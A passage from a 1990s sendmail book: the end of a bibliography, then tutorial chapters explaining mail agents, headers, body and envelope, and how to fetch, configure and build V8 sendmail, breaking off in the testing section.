Anderson, Bart, Bryan Costales, and Harry Henderson. Unix Communications. Carmel, Indiana: Howard W. Sams, a Division of Macmillan Computer Publishing, 1991.
Cheswick, William R., and Steven M. Bellovin. Firewalls and Internet Security, Repelling the Wily Hacker. Reading, MA: Addison-Wesley Publishing Company, 1994.
Cuccia, Nichlos H. The Design and Implementation of a Multihub Electronic Mail Environment. San Diego, CA: USENIX Proceedings - LISA V, October 3, 1991.
Darmohray, Tina M. A sendmail.cf Scheme for a Large Network. San Diego, CA: USENIX Proceedings - LISA V, October 3, 1991.
Frey, Donnalyn, and Rick Adams. !%@:: A Directory of Electronic Mail Addressing and Networks. Sebastopol, CA: O'Reilly & Associates, Inc., 1993.
Harrison, Helen E. A Domain Mail System on Dissimilar Computers: Trials and Tribulations of SMTP. Colorado Springs, CO: USENIX Proceedings - LISA IV, October 19, 1990.
Hedrick, Dr. Charles. A brief tutorial on sendmail rules. (A posting to the old Usenet groups net.unix-wizards and net.mail. Reposted to comp.mail.sendmail August 7th 1992.) Rutgers University, 1985.
Hunt, Craig. TCP/IP Network Administration. Sebastopol, CA: O'Reilly & Associates, Inc., 1993.
Kamens, Jonathan I. FAQ: How to find people's E-mail addresses. (A monthly posting to the Usenet groups comp.mail.misc, and news.newusers.questions.) Cambridge, MA: Massachusetts Institute of Technology, Periodic.
Nemeth, Evi, Garth Snyder, Scott Seebass, and Trent R. Hein. Chapter 15, "Mail and Berkeley Sendmail," in Unix System Administration Handbook. Englewood Cliffs, NJ: Prentice Hall, 2nd edition, 1995.
Quarterman, John S. The Matrix: Computer Networks and Conferencing Systems Worldwide. Bedford, MA: Digital Press, 1990.
Rickert, Neil. Address Rewriting in Sendmail. (Posted to the USENET group comp.mail.sendmail.) DeKalb, IL: Northern Illinois University, Apr 29, 1991.
Stern, Hal. Managing NFS and NIS. Sebastopol, CA: O'Reilly & Associates, Inc., 1991.

Previous: Requests for Comments | sendmail
Requests for Comments | Book Index


[Chapter 1] Introduction

sendmailSearch this book
Previous: I. A Tutorial Chapter 1 Next: 1.2 Why Is sendmail So Complex?

1. Introduction

Contents:
MUA Versus MTA
Why Is sendmail So Complex?
Three Important Parts
Run sendmail by Hand
The Header
The Body
The Envelope
Things to Try

Imagine yourself with pen and paper, writing a letter to a friend far away. You finish the letter and sign it, reflect on what you've written, then tuck the letter into an envelope. You put your friend's address on the front, your return address in the left-hand corner, and a stamp in the right-hand corner, and the letter is ready for mailing. Electronic mail - ail for short) is prepared in much the same way, but a computer is used instead of pen and paper.

The post office transports real letters in real envelopes, whereas sendmail transports electronic letters in electronic envelopes. If your friend (the recipient) is in the same neighborhood (on the same machine), only a single post office (sendmail running locally) is involved. If your friend is distant, the mail message will be forwarded from the local post office (sendmail running locally) to a distant one (sendmail running remotely) for delivery. Although sendmail is similar to a post office in many ways, it is superior in others:

  • Delivery typically takes seconds rather than days.

  • Address changes (forwarding) take effect immediately, and mail can be forwarded anywhere in the world.

  • Host addresses are looked up dynamically. Therefore, machines can be moved or renamed, and email delivery will still succeed.

  • Mail can be delivered through programs that access other networks (such as UUCP and BITNET). This would be like the post office using United Parcel Service to deliver an overnight letter.

This analogy between a post office and sendmail will break down as we explore sendmail in more detail. But the analogy serves a role in this introductory material, so we will continue to use it to illuminate a few of sendmail's more obscure points.

1.1 MUA Versus MTA

A mail user agent (MUA) is any of the many programs that users run to read, reply to, compose, and dispose of email. Examples of an MUA include the original UNIX mail program (/bin/mail); the Berkeley Mail program; its System V equivalent (mailx); free software programs such as mush, elm, and mh; and commercial programs such as Zmail. Many MUAs may exist on a single machine. MUAs sometimes perform limited mail transport, but this is usually a very complex task for which they are not suited. We won't be covering MUAs in this book.

A mail transfer agent (MTA) is a highly specialized program that delivers mail and transports it between machines, like the post office. Usually, there is only one MTA on a machine. The sendmail program is an MTA. Others include MMDF, Smail 3.x, and Zmailer, but we'll cover only sendmail in this book.

Previous: I. A Tutorial | sendmail | Next: 1.2 Why Is sendmail So Complex?
I. A Tutorial | Book Index | 1.2 Why Is sendmail So Complex?


[Chapter 1] 1.2 Why Is sendmail So Complex?

sendmailSearch this book
Previous: 1.1 MUA Versus MTA Chapter 1
Introduction 		Next: 1.3 Three Important Parts

1.2 Why Is sendmail So Complex?

In its simplest role, that of transporting mail from a user on one machine to another user on the same machine, sendmail is almost trivial. All vendors supply a sendmail (and configuration file) that will accomplish this. But as your needs increase, the job of sendmail becomes progressively more complicated, and its configuration file becomes more complex. On hosts that are connected to the Internet, for example, sendmail should use the Domain Name System (DNS) to translate hostnames into network addresses. Machines with UUCP connections, on the other hand, need to have sendmail run the uux program.

The sendmail program needs to transport mail between a wide variety of machines. Consequently, its configuration file is designed to be very flexible. This concept allows a single binary to be distributed to many machines, where the configuration file can be customized to suit particular needs. This configurability contributes to making sendmail complex.

Consider, for example, when mail needs to be delivered to a particular user. The sendmail program decides on the appropriate delivery method based on its configuration file. One such decision process might include the following steps:

  • If the recipient receives mail on the same machine as the sender, deliver the mail using the /bin/mail program.

  • If the recipient's machine is connected to the sending machine using UUCP, use uux to send the mail message.

  • If the recipient's machine is on the Internet, the sending machine transports the mail over the Internet.

  • Otherwise, the mail message may need to be transported over another network (such as BITNET) or possibly rejected.

Previous: 1.1 MUA Versus MTA | sendmail | Next: 1.3 Three Important Parts
1.1 MUA Versus MTA | Book Index | 1.3 Three Important Parts


[Chapter 1] 1.3 Three Important Parts

sendmailSearch this book
Previous: 1.2 Why Is sendmail So Complex? Chapter 1
Introduction 		Next: 1.4 Run sendmail by Hand

1.3 Three Important Parts

The sendmail program is actually composed of several parts, including programs, files, directories, and the services it provides. Its foundation is a configuration file that defines the location and behavior of these other parts and contains rules for rewriting addresses. A queue directory holds mail until it can be delivered. An aliases file allows alternative names for users and creation of mailing lists.

1.3.1 The Configuration File

The configuration file contains all the information sendmail needs to do its job. Within it you provide information, such as file locations, permissions, and modes of operation.

Rewriting rules and rule sets also appear in the configuration file. They transform a mail address into another form that may be required for delivery. They are perhaps the single most confusing aspect of the configuration file. Because the configuration file is designed to be fast for sendmail to read and parse, rules can look cryptic to humans:

R$+@$+          $:$1<@$2>      focus on domain
R$+<$+@$+>      $1$2<@$3>      move gaze right

But what appears to be complex is really just succinct. The R at the beginning of each line, for example, labels a rewrite rule. And the $+ expressions mean to match one or more parts of an address. With experience, such expressions (and indeed the configuration file as a whole) soon become meaningful.

1.3.2 The Queue

Not all mail messages can be delivered immediately. When delivery is delayed, sendmail must be able to save it for later transmission. The sendmail queue is a directory that holds mail until it can be delivered. A mail message may be queued:

  • When the destination machine is unreachable or down. The mail message will be delivered when the destination machine returns to service.

  • When a mail message has many recipients. Some mail messages may be successfully delivered, and others may not. Those that fail are queued for later delivery.

  • When a mail message is expensive. Expensive mail (such as mail sent over a long-distance phone line) can be queued for delivery when rates are lower.

  • When safety is of concern. The sendmail program can be configured to queue all mail messages, thus minimizing the risk of loss should the machine crash.

1.3.3 Aliases and Mailing Lists

Aliases allow mail that is sent to one address to be redirected to another address. They also allow mail to be appended to files or piped through programs, and they form the basis of mailing lists. The heart of aliasing is the aliases(5) file (often stored in database format for swifter lookups). Aliasing is also available to the individual user via a file called .forward in the user's home directory.

Previous: 1.2 Why Is sendmail So Complex? | sendmail | Next: 1.4 Run sendmail by Hand
1.2 Why Is sendmail So Complex? | Book Index | 1.4 Run sendmail by Hand


[Chapter 1] 1.4 Run sendmail by Hand

sendmailSearch this book
Previous: 1.3 Three Important Parts Chapter 1
Introduction 		Next: 1.5 The Header

1.4 Run sendmail by Hand

Most users do not run sendmail directly. Instead, they use one of many mail user agents (MUAs) to compose a mail message. Those programs invisibly pass the mail message to sendmail, creating the appearance of instantaneous transmission. The sendmail program then takes care of delivery in its own seemingly mysterious fashion.

Although most users don't run sendmail directly, it is perfectly legal to do so. You, like many system managers, may need to do so to track down and solve mail problems.

Here's a demonstration of one way to run sendmail by hand. First create a file named sendstuff with the following contents:

This is a one line message.

Second, mail this file to yourself with the following command line, where you is your login name:

% /usr/lib/sendmail you <sendstuff

Here, you run sendmail directly by specifying its full pathname. [1] When you run sendmail, any command-line arguments that do not begin with a - character are considered to be the names of the people to whom you are sending the mail message.

[1] That path may be different on your system. If so, substitute the correct pathname in all the examples that follow. For example, try looking for sendmail in /usr/sbin or /usr/ucblib.

The <sendstuff sequence causes the contents of the file that you have created (sendstuff) to be redirected into the sendmail program. The sendmail program treats everything it reads from its standard input (up to the end of the file) as the mail message to transmit.

Now view the mail message that you just sent. How you do this will vary. Many users just type mail to view their mail. Others use the mh(1) package and type inc to receive and show to view their mail. No matter how you normally view your mail, save the mail message that you just received to a file. It will look something like this:

From you@Here.US.EDU  Fri Dec 13 08:11:44 1996
Received: (from you@localhost) by Here.US.EDU (8.8.4/8.8.4)
       id AA04599 for you; Fri, 13 Dec 96 08:11:44 -0700
Date: Fri, 13 Dec 96 08:11:43
From: you@Here.US.EDU (Your Full Name)
Message-Id: <9631121611.AA02124@Here.US.EDU>
To: you                                                     <-  may be Apparently-To:

This is a one line message.

The first thing to note is that this file begins with seven lines of text that were not in your original message. Those lines were added by sendmail and your local delivery program and are called the header.

The last line of the file is the original line from your sendstuff file. It is separated from the header by one blank line. The body of a mail message comes after the header and consists of everything that follows the first blank line (see Figure 1.1).

Ordinarily, when you send mail with your MUA, the MUA adds a header and feeds both the header and the body to sendmail. This time, however, you ran sendmail directly and supplied only a body; the header was added by sendmail.

Figure 1.1: Every mail message is composed of a header and a body

Previous: 1.3 Three Important Parts | sendmail | Next: 1.5 The Header
1.3 Three Important Parts | Book Index | 1.5 The Header


[Chapter 1] 1.5 The Header

sendmailSearch this book
Previous: 1.4 Run sendmail by Hand Chapter 1
Introduction 		Next: 1.6 The Body

1.5 The Header

Let's examine the header in more detail.

From you@Here.US.EDU  Fri Dec 13 08:11:44 1996
Received: (from you@localhost) by Here.US.EDU (8.8.4/8.8.4)
       id AA04599 for you; Fri, 13 Dec 96 08:11:44 -0700
Date: Fri, 13 Dec 96 08:11:43
From: you@Here.US.EDU (Your Full Name)
Message-Id: <9631121611.AA02124@Here.US.EDU>
To: you                                             <-  may be something else (see Section 34.8.43, NoRecipientAction)

Notice that most header lines start with a word followed by a colon. Each word tells what kind of information the rest of the line contains. There are many types of header lines that can appear in a mail message. Some are mandatory, some are optional, and some may appear many times. Those that appeared in the message that you mailed to yourself were all mandatory. That's why sendmail added them to your message. The line starting with the five characters "From " (the fifth character is a space) is added by some programs (such as /bin/mail) but not by others (such as mh).

A Received: line is added each time a machine receives the mail message. (If there are too many such lines, the mail message will bounce and be returned to the sender as failed mail.) The indented line is a continuation of the line above, the Received: line. The Date: line gives the date and time when the message was originally sent. The From: line lists the email address and the full name of the sender. The Message-ID: line is like a serial number in that it is guaranteed to uniquely identify the mail message. And the To: [2] line shows a list of one or more recipients. (Multiple recipients would be separated with commas.)

[2] Depending on how the NoRecipientAction option was set, this could be an Apparently-To: header, a Bcc: header, or even a To: header followed by an "undisclosed-recipients:;" (see Section 34.8.43).

A complete list of all header lines that are of importance to sendmail is presented in Chapter 35, Headers. The important concept here is that the header precedes, and is separate from, the body in all mail messages.

Previous: 1.4 Run sendmail by Hand | sendmail | Next: 1.6 The Body
1.4 Run sendmail by Hand | Book Index | 1.6 The Body


[Chapter 1] 1.6 The Body

sendmailSearch this book
Previous: 1.5 The Header Chapter 1
Introduction 		Next: 1.7 The Envelope

1.6 The Body

The body of a mail message consists of everything following the first blank line to the end of the file. When you sent your sendstuff file, it contained only a body. Now edit the file sendstuff and add a small header.

Subject: a test               <-  add
                              <-  add
This is a one line message.

The Subject: header line is an optional one. The sendmail program passes it through as is. Here, the Subject: line is followed by a blank line and then the message text, forming a header and a body. Note that a blank line must be truly blank. If you put space or tab characters in it, thus forming an "empty-looking" line, the header will not be separated from the body as intended.

Send this file to yourself again, running sendmail by hand as you did before:

% /usr/lib/sendmail you <sendstuff

Notice that our Subject: header line was carried through without change:

From you@Here.US.EDU  Fri Dec 13 08:11:44 1996
Return-Path: you@Here.US.EDU
Received: (from you@localhost) by Here.US.EDU (8.8.4/8.8.4)
       id AA04599 for you; Fri, 31 Dec 96 08:11:44 -0700
Date: Fri, 13 Dec 96 08:11:43
From: you@Here.US.EDU (Your Full Name)
Message-Id: <9631121611.AA02124@Here.US.EDU>
Subject: a test                                   <-  note
To: you

This is a one line message.

Previous: 1.5 The Header | sendmail | Next: 1.7 The Envelope
1.5 The Header | Book Index | 1.7 The Envelope


[Chapter 1] 1.7 The Envelope

sendmailSearch this book
Previous: 1.6 The Body Chapter 1
Introduction 		Next: 1.8 Things to Try

1.7 The Envelope

To handle delivery to diverse recipients, the sendmail program uses the concept of an envelope. This envelope is analogous to the physical envelopes that are used for post office mail. Imagine that you want to send two copies of a document: one to your friend in the office next to yours and one to a friend across the country:

To: friend1, friend2@remote

After you photocopy the document, you stuff each copy into a separate envelope. You hand one envelope to a clerk, who carries it next door and hands it to friend1 in the next office. This is like delivery on your local machine. The clerk drops the other copy in the slot at the corner mailbox, and the post office forwards that envelope across the country to friend2@remote. This is like sendmail transporting a mail message to a remote machine.

To illustrate what an envelope is, consider one way in which sendmail might run /bin/mail, a program that performs local delivery:

          deliver to friend1's mailbox
            -v
/bin/mail -d friend1           <-  sendmail runs

                the envelope recipient

Here sendmail runs /bin/mail with a -d, which tells /bin/mail to append the mail message to friend1's mailbox.

Information that describes the sender or recipient, but is not part of the message header, is considered envelope information. The two may or may not contain the same information (a point we'll gloss over for now). In the case of /bin/mail, the email message showed two recipients in its header:

To: friend1, friend2@remote          <-  the header

But the envelope information that is given to /bin/mail showed only one (the one appropriate to local delivery):

-d friend1                      <-  specifies the envelope

Now consider the envelope of a message transported over the network. When sending network mail, sendmail must give the remote site a list of sender and recipients separate from and before it sends the mail message (header and body). Figure 1.2 shows this in a greatly simplified conversation between the local sendmail and the remote machine's sendmail.

Figure 1.2: A simplified conversation

The local sendmail tells the remote machine's sendmail that there is mail from you (the sender) and for friend2@remote. It conveys this sender and recipient information separate from and before it transmits the mail message that contains the header. Because this information is conveyed separately from the message header, it is called the envelope.

There is only one recipient listed in the envelope, whereas two were listed in the message header:

To: friend1, friend2@remote

The remote machine does not need to know about the local user, friend1, so that bit of recipient information is excluded from the envelope.

A given mail message can be sent by using many different envelopes (like the two here), but the header will be common to them all.

Previous: 1.6 The Body | sendmail | Next: 1.8 Things to Try
1.6 The Body | Book Index | 1.8 Things to Try


[Chapter 1] 1.8 Things to Try

sendmailSearch this book
Previous: 1.7 The Envelope Chapter 1
Introduction 		Next: 2. Have a V8

1.8 Things to Try

  • Some files contain lines that begin with the five characters "From " (the fifth character is a space). What happens to such lines when the files containing them are delivered to a local mailbox? What UNIX utilities are available to aid in sending such a file with those lines intact?

  • In the file sendstuff, we created a one-line header that began with Subject:. What would be the effect of making that header all lowercase? What does RFC822 have to say about this? (See "Additional Sources of Information" in the Preface.)

  • How does sendmail behave when it is given a message that contains only a header? Does it add a blank line to create an empty body?

  • If your MUA supports a -v (verbose) command-line switch, try to send mail to someone at a remote machine using that switch. You should be able to observe the actual conversation between your local sendmail and a remote machine's sendmail.

  • If you can, send mail addressed both to yourself on the local machine and to yourself on a remote machine. Compare and contrast the header part of each.

  • If you are at all fuzzy about the concept of envelope, review Section 1.7, "The Envelope" now. We will refer to envelopes often throughout this tutorial.

  • Leap ahead to Chapter 35 for additional information about specific headers.

Previous: 1.7 The Envelope | sendmail | Next: 2. Have a V8
1.7 The Envelope | Book Index | 2. Have a V8


[Chapter 2] Have a V8

sendmailSearch this book
Previous: 1.8 Things to Try Chapter 2 Next: 2.2 Read the Documents

2. Have a V8

Contents:
Get the Source
Read the Documents
What's What in src
Preliminaries
Build
Test It
Things to Try

To make the examples on your screen match those in this book, we have elected to use V8 sendmail for the rest of this tutorial. If you are already running the latest release of V8 sendmail, you may skip this chapter. [1] Otherwise, you will need to get and compile V8. In this chapter we show you how to do just that. But don't worry. We don't intend to show you how to do a full installation. All you need is a runnable sendmail binary, and compiling one is generally pretty easy.

[1] You may still have to get the latest release and compare it to your system version to find out whether you really have the latest release.

2.1 Get the Source

V8 sendmail is officially available via anonymous FTP from:

ftp://ftp.sendmail.org/ucb/sendmail/

Its distribution consists of two forms of tar(1) files, one compacted with compress(1) and the other with gzip(1):

sendmail.*.tar.Z          <-  compressed source tar
sendmail.*.tar.gz         <-  gzipped source tar

The * in each of the above represents the current version number, such as 8.x.y, where x denotes a major release and y denotes a minor release. Get only one of these two files; they contain identical copies of the distribution. The .gz form is smaller and quicker to transfer with FTP.

After you get the source distribution, you next need to unpack it. Assuming the current version is 8.8.4, you unpack it with one of these commands:

% zcat sendmail.8.8.4.tar.Z | tar xf -
% gzcat sendmail.8.8.4.tar.gz | tar xf -

Once successfully unpacked, you'll find a new subdirectory in the current directory. It has the same name as the source distribution, but with the .tar.Z or .tar.gz suffix removed and the first dot in the name turned into a hyphen:

% ls
sendmail.8.8.4.tar.gz    sendmail-8.8.4

Here, sendmail-8.8.4 is the directory that contains the source and documentation for sendmail. Change into that directory and look at its contents:

% cd sendmail-8.8.4
% ls
FAQ             RELEASE_NOTES   mail.local      rmail
KNOWNBUGS       cf              mailstats       smrsh
Makefile        contrib         makemap         src
READ_ME         doc             praliases       test

Previous: 1.8 Things to Try | sendmail | Next: 2.2 Read the Documents
1.8 Things to Try | Book Index | 2.2 Read the Documents


[Chapter 2] 2.2 Read the Documents

sendmailSearch this book
Previous: 2.1 Get the Source Chapter 2
Have a V8 		Next: 2.3 What's What in src

2.2 Read the Documents

Read the documentation that comes with sendmail. The more important introductory documents to read are:

READ_ME          <-  A description of what is where and how to compile
RELEASE_NOTES    <-  A history of how sendmail reached this point
FAQ              <-  A compendium of frequently asked questions
doc/op/op.ps     <-  The Operations Guide in PostScript

The READ_ME file contains information about all the other parts of the distribution. It describes how to format the manual pages, explains which RFCs are important, and anticipates some problems you may encounter when building.

The RELEASE_NOTES file describes the history of sendmail in far more detail than you may ever need. The first part of this file lists important late-breaking news about the program. New features will be listed here, and critical bug fixes will be described.

The FAQ (Frequently Asked Questions) file is a copy of the one that is distributed in the Usenet newsgroup comp.mail.sendmail. Many people have already asked the very same questions you probably have percolating in your head. This document tries to anticipate the most common of those questions and to provide answers to them.

The doc/op/op.ps file is written by Eric Allman and is entitled SENDMAIL Installation and Operations Guide. It is the final and authoritative word on all matters relating to sendmail. It is dense reading, and not suited for the beginner, but well worth perusing in this early stage of learning sendmail. Unlike the first three files (which are directly readable text), op.ps is PostScript. [2]

[2] The source for the PostScript is in op.me and requires the latest tmac.e macros to format.

Previous: 2.1 Get the Source | sendmail | Next: 2.3 What's What in src
2.1 Get the Source | Book Index | 2.3 What's What in src


[Chapter 2] 2.3 What's What in src

sendmailSearch this book
Previous: 2.2 Read the Documents Chapter 2
Have a V8 		Next: 2.4 Preliminaries

2.3 What's What in src

When we describe building sendmail, we will refer to the source directory by the name src. That directory is the same as the src directory that is shown when you list the distribution directory:

% cd sendmail-8.8.4
% ls
FAQ             RELEASE_NOTES   mail.local      rmail
KNOWNBUGS       cf              mailstats       smrsh
Makefile        contrib         makemap         src             <-  note
READ_ME         doc             praliases       test

Change into the src directory and look at what is there:

% cd src
% ls
Makefile        collect.c       mailq.0         pathnames.h     stats.c
Makefiles       conf.c          mailq.1         queue.c         sysexits.c
READ_ME         conf.h          mailstats.h     readcf.c        sysexits.h
TRACEFLAGS      convtime.c      main.c          recipient.c     trace.c
alias.c         daemon.c        makesendmail    savemail.c      udb.c
aliases         deliver.c       map.c           sendmail.0      useful.h
aliases.0       domain.c        mci.c           sendmail.8      usersmtp.c
aliases.5       envelope.c      mime.c          sendmail.h      util.c
arpadate.c      err.c           newaliases.0    sendmail.hf     version.c
cdefs.h         headers.c       newaliases.1    srvrsmtp.c
clock.c         macro.c         parseaddr.c     stab.c

The files whose names end in .0 are pre-formatted manual pages. The files whose names end in .1, .5, and .8 are unformatted. The method to format them for printing is described in ../READ_ME. [3]

[3] Note that the READ_ME here in the src directory is different from the one in the parent directory (../READ_ME), even though they both have the same name.

The files whose names end in .c and .h are the actual source. The makesendmail file is a shell script that makes building easy, and the READ_ME file contains the latest information about building. You should read the latter now. Pay special attention to the section titled OPERATING SYSTEM AND COMPILE QUIRKS. No matter what your operating system, this section probably contains information that is important to you.

Previous: 2.2 Read the Documents | sendmail | Next: 2.4 Preliminaries
2.2 Read the Documents | Book Index | 2.4 Preliminaries


[Chapter 2] 2.4 Preliminaries

sendmailSearch this book
Previous: 2.3 What's What in src Chapter 2
Have a V8 		Next: 2.5 Build

2.4 Preliminaries

Now that you have the distribution and have changed into the src directory, you will find a script called makesendmail. For nearly all systems, all you have to do is run that script to build sendmail. To determine whether your system is supported, run the makesendmail script now, with the -m command-line switch:

% ./makesendmail -m
Configuration: os=SunOS, rel=4.1.4, rbase=4, arch=sun4, sfx=
Will run in virgin obj.SunOS.4.1.4.sun4 using Makefile.SunOS
%

Here, makesendmail indicates that it knows how to build a sendmail for SunOS 4.1.4. It will use the Makefile called Makefile.SunOS. If it is unable to determine a Makefile, it will print a message like this and exit:

Cannot determine how to support arch.os.rel

Here, arch is the generic type of machine, such as sun4 or 9000/720. The os is the operating system type, such as SunOS or HP-UX. And the rel is the version of the operating system, such as A or 4.1.3. If your system is not supported, you are going to have to do a port (ugh!). Read the READ_ME file, and skip ahead to Chapter 18, Compile and Install sendmail.

Fortunately makesendmail succeeded in this example, and, because we are running on a Sun system with SunOS 4.1.4, makesendmail selected Makefile.SunOS as the Makefile that we will be using. Had we been running on something else, for example, say an SGI machine, it might have selected a different Makefile, such as Makefile.IRIX. All the Makefile files are located under src in a subdirectory called Makefiles. That subdirectory should look something like this:

Makefile.386BSD            Makefile.ISC               Makefile.Solaris
Makefile.A-UX              Makefile.KSR               Makefile.SunOS
Makefile.AIX               Makefile.LUNA              Makefile.SunOS.4.0
Makefile.Altos             Makefile.Linux             Makefile.SunOS.5.1
Makefile.BSD-OS            Makefile.Mach386           Makefile.SunOS.5.2
Makefile.BSD43             Makefile.NCR3000           Makefile.SunOS.5.3
Makefile.CLIX              Makefile.NEWS-OS.4.x       Makefile.SunOS.5.4
Makefile.CSOS              Makefile.NEWS-OS.6.x       Makefile.SunOS.5.5
Makefile.ConvexOS          Makefile.NEXTSTEP          Makefile.Titan
Makefile.Dell              Makefile.NeXT              Makefile.ULTRIX
Makefile.DomainOS          Makefile.NetBSD            Makefile.UMAX
Makefile.Dynix             Makefile.NonStop-UX        Makefile.UNICOS
Makefile.EWS-UX_V          Makefile.OSF1              Makefile.UNIX_SV.4.x.i386
Makefile.FreeBSD           Makefile.PTX               Makefile.UX4800
Makefile.HP-UX             Makefile.Paragon           Makefile.UXPDS
Makefile.HP-UX.10.x        Makefile.RISCos            Makefile.Utah
Makefile.IRIX              Makefile.SCO               Makefile.dgux
Makefile.IRIX.5.x          Makefile.SCO.3.2v4.2       Makefile.dist
Makefile.IRIX64            Makefile.SVR4              Makefile.uts.systemV

Since we have thus far been successful, you can now go ahead and run makesendmail for real. Be prepared to interrupt it with a control-C, because we will need to tune your Makefile after it has been copied:

% ./makesendmail
Configuration: os=SunOS, rel=4.1.4, rbase=4, arch=sun4, sfx=
Creating obj.SunOS.4.1.4.sun4 using Makefile.SunOS
Making dependencies in obj.SunOS.4.1.4.sun4
Making in obj.SunOS.4.1.4.sun4
cc -I. -O -I/usr/sww/include -DNDBM -DNEWDB -DNIS   -target sun4 -c  alias.c
^C

The makesendmail script first creates a directory in which you will eventually build sendmail. It then (invisibly) creates links inside that directory to all the source files and to an appropriate Makefile. Finally, it starts to build sendmail. You interrupt the build with a control-C just after the first compiler line of output. From this point forward we will work inside that new directory, so cd into it:

% cd obj.SunOS.4.1.4.sun4

As distributed, your newly created Makefile is not writable. But we may need to modify it, so we need to make it writable:

% chmod u+w Makefile

There are three important reasons to modify your default Makefile. If you don't have the Berkeley db(3) library, you need to remove db support from your Makefile. If you are not connected to the Internet and are not running a named(8) name server, you need to eliminate DNS support from your Makefile. Finally, you need to read the comments inside your Makefile and make any changes suggested there.

2.4.1 Eliminate or Keep db Support?

If you have not installed the Berkeley db(8) library package, or do not know whether you have, you need to remove support for that package from your Makefile. Edit your Makefile and look for the line that begins with the word DBMDEF:

DBMDEF= -DNDBM -DNEWDB -DNIS                   <-  this line

             delete this from the line

Delete the string -DNEWDB from the DBMDEF line to form the following:

DBMDEF= -DNDBM -DNIS                           <-  after delete

Next search for the line that begins with LIBS:

LIBS=   -ldb -ldbm -lresolv                    <-  this line (exact text may vary)

    delete this from the line

Delete the string -ldb from the LIBS= line to form the following:

LIBS=   -ldbm -lresolv                         <-  after delete

This completes the removal of Berkeley db(3) support from your Makefile.

If your site does support the Berkeley db(3) library package, you may still need to massage your Makefile. To include this support inside sendmail, you need to specify the correct include files and library path. Search for the line that begins with INCDIRS:

INCDIRS=-I/usr/sww/include                     <-  this line

# loader options
LDOPTS= -Bstatic

# library directories
LIBDIRS=-L/usr/sww/lib                         <-  and this line

You need to change both lines to contain the correct paths where you installed the Berkeley db(3) library. If you aren't sure about any of this information, you should eliminate support instead.

INCDIRS=-I/usr/local/include/db                 <-  new

# loader options
LDOPTS= -Bstatic

# library directories
LIBDIRS=-L/usr/local/lib                        <-  new

As shown in the two preceding examples, we installed the Berkeley db(3) include files in /usr/local/include/db and the library in /usr/local/lib.

2.4.2 Eliminate DNS Support

If you are on a machine that does not support DNS (such as a home workstation that connects to the outside world exclusively via UUCP), you will need to exclude DNS support from sendmail. One way to tell whether your machine supports DNS is to run the nslookup(8) program. It may not be in your path, so if it is not found when you try to run it, you have to find it. Try looking in /usr/etc or /usr/sbin. If nslookup(8) hangs when you run it, your system probably does not support DNS. If it doesn't hang, its output will look like this. Just type Control-D to exit:

% /usr/etc/nslookup
Default Server: localhost
Address:  127.0.0.1

> ^D

If your system lacks DNS support, you must then redefine the value of NAMED_BIND as 0 in Makefile. One way to do that is to edit your Makefile and search for the line beginning with the string ENVDEF:

ENVDEF=

Append to that line the following string, which turns off DNS support inside sendmail:

ENVDEF= -DNAMED_BIND=0

     append this

2.4.3 Other Massaging in Makefile

Independent of support for db(3) and DNS, your operating system may impose its own requirements. To discover whether it does and what they might be, edit your Makefile, and look through it for operating-system-specific comments. A sampling of the many such comments might look like this:

# you can use -O3 on AIX 3.2.4 or greater ONLY!              <-  Makefile.AIX
# use DGUX_5_4_2 for versions prior to 5.4.3.                <-  Makefile.DGUX
#  delete -l44bsd if you are not running BIND 4.9.x          <-  Makefile.SunOS.5.5
# define SPT_TYPE=SPT_NONE if you are using NEWS-OS 6.0.1    <-  Makefile.NEWS-OS.6.x

No matter which Makefile is yours, all customizing should be done before this line:

###################  end of user configuration flags  ######################

Unless you are an expert at compiling Makefiles, avoid changing anything after this line. You risk "breaking" your Makefile and ruining your ability to build.

Previous: 2.3 What's What in src | sendmail | Next: 2.5 Build
2.3 What's What in src | Book Index | 2.5 Build


[Chapter 2] 2.5 Build

sendmailSearch this book
Previous: 2.4 Preliminaries Chapter 2
Have a V8 		Next: 2.6 Test It

2.5 Build

You are now ready to build a runnable version of sendmail. To do so, just run the following command while in the src/obj... directory:

% make

This results in several screens full of output, so you should do this in a scrollable window or something similar, such as emacs(1) or script(1).

cc -I. -O -I/usr/sww/include -DNDBM -DNEWDB -DNIS   -target sun4 -c  alias.c
cc -I. -O -I/usr/sww/include -DNDBM -DNEWDB -DNIS   -target sun4 -c  arpadate.c
cc -I. -O -I/usr/sww/include -DNDBM -DNEWDB -DNIS   -target sun4 -c  clock.c
... and so on.

Although we hope that everything will go smoothly, various things can go wrong at this point. For example, if you forgot to undefine NEWDB you, might get this:

map.c: 46: Can't find include file db.h
*** Error code 2
make: Fatal error: Command failed for target `map.o'

If so, go back to Section 2.4.1, "Eliminate or Keep db Support?", and remove -DNEWDB from the Makefile. Other problems are covered in Chapter 18. If all goes well, you should end up with output looking like this:

... many lines here.
cc -I. -O -I/usr/sww/include/db -DNDBM  -DNEWDB -DNIS   -target sun4 -c  version.c
cc -o sendmail -Bstatic alias.o arpadate.o clock.o collect.o conf.o convtime.o daemon.
o  deliver.o domain.o envelope.o err.o headers.o macro.o main.o  map.o mci.o mime.o pa
rseaddr.o queue.o readcf.o recipient.o  savemail.o srvrsmtp.o stab.o stats.o sysexits.
o  trace.o udb.o usersmtp.o util.o version.o  -L/usr/sww/lib -ldb -ldbm -lresolv
%

The result of all this is a brand-new executable sendmail file in the current (src/obj...) directory. You can now copy that new sendmail to any convenient location - perhaps one where you will continue this tutorial. Your home directory is one possibility:

% cp sendmail $HOME

Or you can put a symbolic link to it in ../src:

% ln -s sendmail ../src

Or you can leave it in the src/obj... directory. It really doesn't matter where you put sendmail for this tutorial. We will always refer to it as ./sendmail to keep the examples uniform.

Previous: 2.4 Preliminaries | sendmail | Next: 2.6 Test It
2.4 Preliminaries | Book Index | 2.6 Test It


[Chapter 2] 2.6 Test It

sendmailSearch this book
Previous: 2.5 Build Chapter 2
Have a V8 		Next: 2.7 Things to Try

2.6 Test It

Just to make sure that sendmail built correctly, test it with the following arguments:

% ./sendmail -d0.1 -bt &lt; /dev/null
Version 8.8.4
Compiled with:   LOG MATCHGECOS NETINET NETUNIX NEWDB USERDB XDEBUG
SYSTEM IDENTITY (after readcf):
            (short domain name) $w = here.us.edu
        (canonical domain name) $j = $w
               (subdomain name) $m = us.edu
                    (node name) $k = here

Pay no attention to the $ variables for now. They will be clarified a few chapters later. For now, just observe that sendmail ran, printed its version (and some other identifying information), and exited without error.

If, instead of running, sendmail hangs, you will have to go back to Section 2.4.2, "Eliminate DNS Support" and redefine NAMED_BIND. If your site has never run sendmail before, you will get a complaint like this:

/etc/sendmail.cf: line 0: cannot open: No such file or directory

